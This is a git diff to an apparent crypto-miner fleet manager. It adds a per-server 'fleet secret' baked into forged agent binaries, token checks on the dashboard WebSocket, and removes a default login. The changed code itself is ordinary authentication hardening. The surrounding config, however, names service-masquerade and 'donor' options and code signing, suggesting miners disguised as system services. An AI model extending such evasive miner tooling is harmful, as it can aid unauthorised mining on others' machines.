diff --git a/agent/client/client.go b/agent/client/client.go index 6593e28..b9c3348 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -178,6 +178,7 @@ func (c *AgentClient) authenticate() error { host, cores, memGB := c.reporter.SystemInfo() payload, _ := json.Marshal(AuthPayload{ AgentID: c.agentID, + FleetSecret: c.cfg.FleetSecret, Wallet: c.cfg.Wallet, Version: config.Version, Hostname: host, diff --git a/agent/client/protocol.go b/agent/client/protocol.go index ba723ff..6e6e53c 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -9,6 +9,7 @@ type Message struct { type AuthPayload struct { AgentID string `json:"agent_id"` + FleetSecret string `json:"fleet_secret"` Wallet string `json:"wallet"` Version string `json:"version"` Hostname string `json:"hostname"` diff --git a/agent/config/config.go b/agent/config/config.go index 7e44f9e..49744be 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -61,6 +61,9 @@ type BuiltinConfig struct { ServiceMasquerade bool ServiceName string ServiceDonor string + // FleetSecret is baked in at forge time and presented on WS connect. + // The server rejects any agent that doesn't carry the right secret. + FleetSecret string } type RuntimeConfig struct { diff --git a/agent/crypto-miner-agent b/agent/crypto-miner-agent new file mode 100644 index 0000000..640ba0d Binary files /dev/null and b/agent/crypto-miner-agent differ diff --git a/fusion/crypto-miner-fusion b/fusion/crypto-miner-fusion new file mode 100644 index 0000000..50c02b4 Binary files /dev/null and b/fusion/crypto-miner-fusion differ diff --git a/server/config.go b/server/config.go index e0cb2f9..7eb6fe3 100644 --- a/server/config.go +++ b/server/config.go @@ -43,6 +43,9 @@ type ServerSettings struct { SignCertThumbprint string `json:"sign_cert_thumbprint"` SignToolPath string `json:"sign_tool_path"` SignTimestampURL string `json:"sign_timestamp_url"` + // FleetSecret is a random token generated once on first run and baked into + // every forged agent binary. Agents must present it on connect or be rejected. + FleetSecret string `json:"fleet_secret"` } type PoolConfig struct { @@ -549,6 +552,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if src.Server.SignTimestampURL != "" { dst.Server.SignTimestampURL = src.Server.SignTimestampURL } + if src.Server.FleetSecret != "" { + dst.Server.FleetSecret = src.Server.FleetSecret + } } } diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 37fa069..506a5e7 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -1,6 +1,8 @@ package api import ( + "crypto/subtle" + "encoding/base64" "encoding/json" "fmt" "log" @@ -17,6 +19,33 @@ import ( "github.com/gorilla/websocket" ) +// secureStringEqual compares two strings in constant time to prevent timing attacks. +func secureStringEqual(a, b string) bool { + return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1 +} + +// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade. +// The browser passes btoa("user:pass") — the same value stored in sessionStorage. +func checkDashboardWSToken(r *http.Request) bool { + token := r.URL.Query().Get("token") + if token == "" { + return false + } + decoded, err := base64.StdEncoding.DecodeString(token) + if err != nil { + return false + } + parts := strings.SplitN(string(decoded), ":", 2) + if len(parts) != 2 { + return false + } + user, pass := parts[0], parts[1] + usersMu.RLock() + expectedPass, exists := authUsers[user] + usersMu.RUnlock() + return exists && secureStringEqual(pass, expectedPass) +} + var upgrader = websocket.Upgrader{ ReadBufferSize: 4096, WriteBufferSize: 4096, @@ -79,6 +108,7 @@ type WSHub struct { agentLogs map[string]string serverPolicy ServerPolicy pingIntervalSec int + fleetSecret string // baked into forged agents; verified on WS connect mu sync.RWMutex } @@ -109,6 +139,14 @@ func (h *WSHub) SetPingInterval(seconds int) { h.mu.Unlock() } +// SetFleetSecret stores the shared secret that all forged agents must present. +// Called once at startup from main.go after config is loaded. +func (h *WSHub) SetFleetSecret(secret string) { + h.mu.Lock() + h.fleetSecret = secret + h.mu.Unlock() +} + func (h *WSHub) pingInterval() time.Duration { h.mu.RLock() sec := h.pingIntervalSec @@ -270,6 +308,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { case "auth": var auth struct { AgentID string `json:"agent_id"` + FleetSecret string `json:"fleet_secret"` Wallet string `json:"wallet"` Version string `json:"version"` Hostname string `json:"hostname"` @@ -300,6 +339,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { continue } + // Verify fleet secret. If the server has one configured, the agent must match. + h.mu.RLock() + requiredSecret := h.fleetSecret + h.mu.RUnlock() + if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) { + conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ + "success": false, "error": "invalid fleet secret — re-forge this agent", + })}) + log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID) + return + } + agentID = auth.AgentID if agentID == "" { agentID = uuid.New().String() @@ -603,6 +654,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { + // Verify dashboard session. The SPA sends its stored Basic-auth token as + // ?token= because the WS upgrade can't carry Authorization headers. + // We decode it and check against the same in-memory user map as the REST API. + if !checkDashboardWSToken(r) { + http.Error(w, "Unauthorized", http.StatusUnauthorized) + log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr) + return + } + conn, err := upgrader.Upgrade(w, r, nil) if err != nil { log.Printf("Dashboard WebSocket upgrade error: %v", err) diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index ee44aff..5adb54b 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -121,6 +121,12 @@ type Handler struct { goWinresPath string serverModDir string policy BuildPolicy + fleetSecret string // injected from server config; baked into every forge output +} + +// SetFleetSecret stores the fleet secret so it is baked into every forged binary. +func (h *Handler) SetFleetSecret(secret string) { + h.fleetSecret = secret } type SignPolicy struct { @@ -927,6 +933,7 @@ func GetBuiltinConfig() BuiltinConfig { ServiceMasquerade: %v, ServiceName: %q, ServiceDonor: %q, + FleetSecret: %q, } } `, buildID, time.Now().UTC().Format(time.RFC3339), @@ -978,6 +985,7 @@ func GetBuiltinConfig() BuiltinConfig { serviceMasqueradeEnabled(req), serviceMasqueradeName(buildID, req), serviceMasqueradeDonor(buildID, req), + h.fleetSecret, ) } diff --git a/server/main.go b/server/main.go index 8ed539b..0d23c44 100644 --- a/server/main.go +++ b/server/main.go @@ -1,6 +1,8 @@ package main import ( + "crypto/rand" + "encoding/hex" "encoding/json" "fmt" "io" @@ -38,6 +40,23 @@ func main() { cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot) log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot) + // Generate fleet secret once — persisted in config.json so all future forges + // carry the same secret and agents keep working across server restarts. + if cfg.Server.FleetSecret == "" { + b := make([]byte, 32) + if _, err := rand.Read(b); err != nil { + log.Fatalf("Failed to generate fleet secret: %v", err) + } + cfg.Server.FleetSecret = hex.EncodeToString(b) + if err := cfg.Save(); err != nil { + log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err) + } else { + log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up") + } + } else { + log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8]) + } + // Ensure data directories exist dirs := []string{ cfg.DataDir, @@ -66,6 +85,7 @@ func main() { // Initialize WebSocket hub wsHub := api.NewWSHub(database) wsHub.SetAIHandler(aiHandler) + wsHub.SetFleetSecret(cfg.Server.FleetSecret) aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) { wsHub.BroadcastAIActivity(entry) }) @@ -78,6 +98,7 @@ func main() { // The agent source is expected at ../agent relative to the server directory agentSrcDir := findAgentSourceDir() builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot) + builderHandler.SetFleetSecret(cfg.Server.FleetSecret) log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir) defaultPoolCfg := pool.Config{ diff --git a/server/web/src/components/SessionGate.tsx b/server/web/src/components/SessionGate.tsx index ed2ec51..a53c4ab 100644 --- a/server/web/src/components/SessionGate.tsx +++ b/server/web/src/components/SessionGate.tsx @@ -4,7 +4,7 @@ import { getStoredAuth, setStoredAuth } from '../api/auth'; export default function SessionGate({ children }: { children: ReactNode }) { const [ready, setReady] = useState(false); const [authed, setAuthed] = useState(!!getStoredAuth()); - const [user, setUser] = useState('drjones'); + const [user, setUser] = useState(''); const [pass, setPass] = useState(''); const [err, setErr] = useState(''); @@ -72,7 +72,6 @@ export default function SessionGate({ children }: { children: ReactNode }) { -

Default: drjones / czapiewski (change under Calibrate → Users)

); diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx index a83f2e5..6d1bf0d 100644 --- a/server/web/src/context/WebSocketProvider.tsx +++ b/server/web/src/context/WebSocketProvider.tsx @@ -9,6 +9,7 @@ import type { import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types'; import { WebSocketContext } from './WebSocketContext'; import type { SeqCommandResult } from './WebSocketContext'; +import { getStoredAuth } from '../api/auth'; /** * WebSocketProvider mounts a SINGLE WebSocket connection for the whole app. @@ -45,7 +46,8 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { } const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; - const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`; + const token = getStoredAuth(); + const wsUrl = `${protocol}//${window.location.host}/ws/dashboard${token ? `?token=${encodeURIComponent(token)}` : ''}`; const ws = new WebSocket(wsUrl); wsRef.current = ws;